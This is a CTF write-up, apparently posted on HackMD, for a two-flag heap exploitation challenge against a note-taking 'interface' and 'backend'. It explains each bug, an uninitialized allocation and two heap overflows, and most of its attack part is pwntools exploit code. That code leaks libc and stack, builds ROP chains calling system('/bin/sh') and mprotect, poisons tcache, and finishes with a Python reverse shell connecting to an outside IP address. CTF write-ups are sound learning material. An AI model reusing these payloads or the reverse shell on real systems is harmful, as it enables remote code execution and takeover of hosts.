owned this note
owned this note
Published
Linked with GitHub
# PWN03
## FLAG1
* To get the flag we have to exploit `interface`
* First bug is that `add_new_note` doesn't initialize `content` when `malloc` so i can use that to leak
```cpp=
if(tmp->note_content){
free(tmp->note_content);
}
tmp->note_content = malloc(content_len);
tmp->note_content_len = content_len;
fgets(tmp->note_content, content_len, stdin);
tmp->note_synced = 0;
```
* The next bug is in `note_sync`
```cpp=
Note_t new_note = Note_init(serialize_p->note_title, serialize_p->note_author,serialize_p->note_content_len, serialize_p->note_is_encrypt);
read_count += sizeof(struct NoteSerialize);
Note_t p_note;
DL_SEARCH(notes, search_note, new_note, Note_cmp);
p_note = search_note;
if(!search_note){
p_note = new_note;
}
// update new content
if(!p_note->note_is_encrypt){
memcpy(p_note->note_content, serialize_p->content, serialize_p->note_content_len);
read_count += new_note->note_content_len;
}
```
* It doesn't check `size` before copy from `backend` so there's `heap overflow` here
* First we can `note_sync('c')` a big chunk then `edit_note` to allocate a small chunk so that we can trigger the bug
* Here i use that bug to overwrite another note `content` to `enrivon` to leak `stack`
```py=
payload = b'A'*0x10
payload += p64(0) + p64(0x91)
payload += p64(0x62) + p64(0)*7
payload += p64(0x62) + p64(0)*3
payload += p64(0x10) + p64(0) + p64(libc.symbols['environ']) + p64(heap + 0x370)
payload += p64(0) + p64(0x21)
payload += p64(libc.address + 0x21ace0)*2
payload += p64(0) + p64(0x91)
payload += p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x200) + p64(0)*4 + p64(0xf1)
payload += p64(libc.address + 0x21ace0)*2
payload = payload.ljust(0x200, b'\x00')
new_note(b'a', b'a', 0x200, payload)
note_sync('c')
edit_note(b'a', b'a', 1, b'a')
new_note(b'b', b'b', 1, b'hehe')
note_sync('s')
```
* After that i trigger the bug again. This time overwrite `content` to `saved rip` of `note_sync()` to build ropchain
```py=
ayload += p64(0) + p64(0x21) + b'A'*0x10 + p64(0) + p64(0x91)
payload += p64(0x62) + p64(0)*7 + p64(0x62) + p64(0)*3 + p64(0x10) + p64(0)
payload += p64(stack)
payload += p64(heap + 0x630) + p64(0) + p64(0x21)
payload += p64(libc.address + 0x21ace0)*2
payload += p64(0) + p64(0x91)
payload += p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x200) + p64(0) + p64(heap + 0x400) + p64(heap + 0x770)*2 + p64(0x91)
payload += p64(0x62) + p64(0)*7
payload += p64(0x62) + p64(0)*3
payload += p64(0x50) + p64(0x2)
payload += p64(stack - 0x338) + p64(heap + 0x6e0) + p64(0) + p64(0x61)
payload += p64(0xdeadbeef)
print('len: ', hex(len(payload)))
payload2 = b'hihi'
RET = 0x00000000000baaf9 + libc.address#: xor rax, rax ; ret
rop = ROP(libc)
#rop.raw(RET)
rop.system(next(libc.search(b'/bin/sh\x00')))
#rop.read(0, stack - 0x338, 0x500)
payload2 = rop.chain()
delete_note(b'a', b'a')
delete_note(b'b', b'b')
new_note(b'a', b'a', 0x400, payload)
new_note(b'b', b'b', 0x50, payload2)
note_sync('c')
edit_note(b'a', b'a', 0x200, b'a')
note_sync('s')
```
![Screenshot 2024-01-29 143130](https://hackmd.io/_uploads/rkd1kkHc6.png)
## PWN03-FLAG2
* To get flag2 we have to exploit `backend`
* There's a bug when we create a note with encryption then the ciphertext chunk will overflow `size` field of the next chunk. But i can't exploit that bug
* Another bug is in `FETCH` option
```cpp=
DL_FOREACH_SAFE(cur_note, tmp1, etmp)
{
tmp_size = sizeof(struct NoteSerialize);
if (!tmp1->note_is_encrypt)
{
tmp_size += tmp1->note_content_len;
}
if (reply_size + tmp_size > SHM_MEM_MAX_SIZE)
{
DBG("[backend] reply_size(%d) is larger than SHM_MEM_MAX_SIZE, enable truncated mode\n", reply_size + tmp_size);
truncated = 1;
tmp_note2 = tmp1;
break;
}
reply_size += tmp_size;
}
```
* if `reply_size + tmp_size > SHM_MEM_MAX_SIZE(0x10000)` the function will stop increasing `reply_size` but when creating `reply_msg` it iterates all notes so here another `heap overflow`
```cpp=
DL_FOREACH_SAFE(cur_note, tmp1, etmp)
{
serialize_p = (NoteSerialize_t)((size_t)reply_msg->msg_content + written_count);
memcpy(&(serialize_p->common), &(tmp1->common), sizeof(struct NoteCommon));
written_count += sizeof(struct NoteSerialize);
DBG("[backend] FETCH: serialize note %s(%s)\n", serialize_p->note_title, serialize_p->note_author);
if (!tmp1->note_is_encrypt)
{
written_count += tmp1->note_content_len;
memcpy(serialize_p->content, tmp1->note_content, tmp1->note_content_len);
}
}
```
* Continue to flag1 i change the ropchain to `mprotect` `interface` to patch some bytes so that `interface` can create a `note` with larger `content_len` and change `read_note` function to arbitrary read
```py=
rop_elf.raw(interface.symbols['note_main'] + 122)
rop_libc.mprotect(interface.address + 0x2000, 0x3000, 7)
rop_libc.rsi = interface.symbols['edit_note'] + 525
rop_libc.rdi = 0x0fc5390001ffffb8
rop_libc.raw(MOV_PRSI_RDI)
rop_libc.rsi = interface.symbols['add_new_note'] + 621
rop_libc.rdi = 0xc439410001ffffb8
rop_libc.raw(MOV_PRSI_RDI)
rop_libc.rsi = interface.symbols['add_new_note'] + 254
rop_libc.rdi = 0x0fd0390001ffffba
rop_libc.raw(MOV_PRSI_RDI)
rop_libc.read(0, interface.symbols['read_note'], 0x200)
rop_libc.raw(RET)
payload += rop_libc.chain() + rop_elf.chain()
```
```py=
new_read_note = 'sub rsp, 0x80\n'
new_read_note += shellcraft.read(0, interface.symbols['notes'] + 8, 8)
new_read_note += '\n mov rsi, [rsi]\n'
new_read_note += shellcraft.write(1, 'rsi', 0x100)
new_read_note += '\nadd rsp, 0x80'
new_read_note += ' \nret'
```
* To leak heap, i craft the notes that will overwrite only `1` byte of `content` field of a note
```py=
delete_note(b'a', b'a')
delete_note(b'b', b'b')
payload = p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x390) + p64(0)*8
new_note(b'a', b'a', 0xf910, b'a')
note_sync('c')
new_note(b'nao', b'nao', 0x600, b'nao')
note_sync('c')
new_note(b'b', b'b', 0xfff0, b'b')
note_sync('c')
payload = p32(0) + p64(0x100) + p64(0)*5 + b'\x00'
new_note(b'c'*0x8 + p64(0xb1), b'c'*0x18, 53, payload)
note_sync('c')
delete_note(b'b', b'b')
```
![Screenshot 2024-01-29 144844](https://hackmd.io/_uploads/ryTsuRVcp.png)
* Before
![Screenshot 2024-01-29 144903](https://hackmd.io/_uploads/B1WauRVqp.png)
* After
![Screenshot 2024-01-29 144922](https://hackmd.io/_uploads/rkkAdA4qT.png)
* So now i have `backend` heap in `interface` heap. Using new `read_note` to read it since there's `NULL` byte , i can't leak by using `list_note`
* The next part works for local but not server
* I trigger `heap overflow` to fake `tcache`. Craft notes so that it doesn't ruin the heap too much. Fake `tcache` point to one of my note
![Screenshot 2024-01-29 145941](https://hackmd.io/_uploads/H1JWo0E9T.png)
* Here my note's `content` and `next` point to the same chunk
* So i can control a note. Change `content` to leak everything so that i have `stack` and `libc`
* Next i fake `tcache` again to write. But i can't trigger the old bug since i ruined the heap too much. After a while i see that, i can control a note struct then i can change `content` so i have `arbitrary free`. Find a struct that i controll below a `tcache bin` to craft a fake chunk to `free`
![Screenshot 2024-01-29 150545](https://hackmd.io/_uploads/HkQOnA49a.png)
![Screenshot 2024-01-29 150553](https://hackmd.io/_uploads/rJu_3R4qT.png)
* At first the `aa..` is a name of a struct that i create before so that i knew i can controll it, then i put `0x151` there
```py=
new_note(b'a'*8 + p32(0x151), b'fake', 0xc0, fake_chunk)
```
* Free it then overwrite `tcache` to `saved rip` of `memcpy` to create ropchain
* Since i cannot interact with `backend`, i use reverse shell
```py=
PYTHON3 = env_back - 0x298 - 8 - 0x10 + 0xa0
C = PYTHON3 + 1 + len('/bin/python3')
REVERSE_ADDR = C + 1 + len('-c')
REVERSE = b'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("193.161.193.99",26863));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
back_rop = ROP(libc_back)
flag = b'/home/nao/flag\x00r\x00'.ljust(0x18, b'\x00')
back_rop.raw(0)
back_rop.raw(0)
back_rop.raw(0)
back_rop.execve(PYTHON3, PYTHON3 - 0x40, 0)
payload = back_rop.chain()
payload = payload.ljust(0xa0 - 0x40, b'\x00')
payload += p64(PYTHON3)
payload += p64(C)
payload += p64(REVERSE_ADDR)
payload += p64(0)*5
payload += b'/bin/python3\x00' + b'-c\x00' + REVERSE + b'\x00'
```
![Screenshot 2024-01-29 151209](https://hackmd.io/_uploads/SJYxCRN9a.png)
![Screenshot 2024-01-29 151224](https://hackmd.io/_uploads/ryv-R0N5a.png)
* Docker
![Screenshot 2024-01-29 223035](https://hackmd.io/_uploads/Sk9aNBHc6.png)
![Screenshot 2024-01-29 223030](https://hackmd.io/_uploads/r1xFAESr9p.png)
* It works for local but not server. It always stop after `heap backend` leak
* Update
* It works when connecting to server but i have to wait about 10 mins
![Screenshot 2024-01-30 195938](https://hackmd.io/_uploads/H1_rQuIcT.png)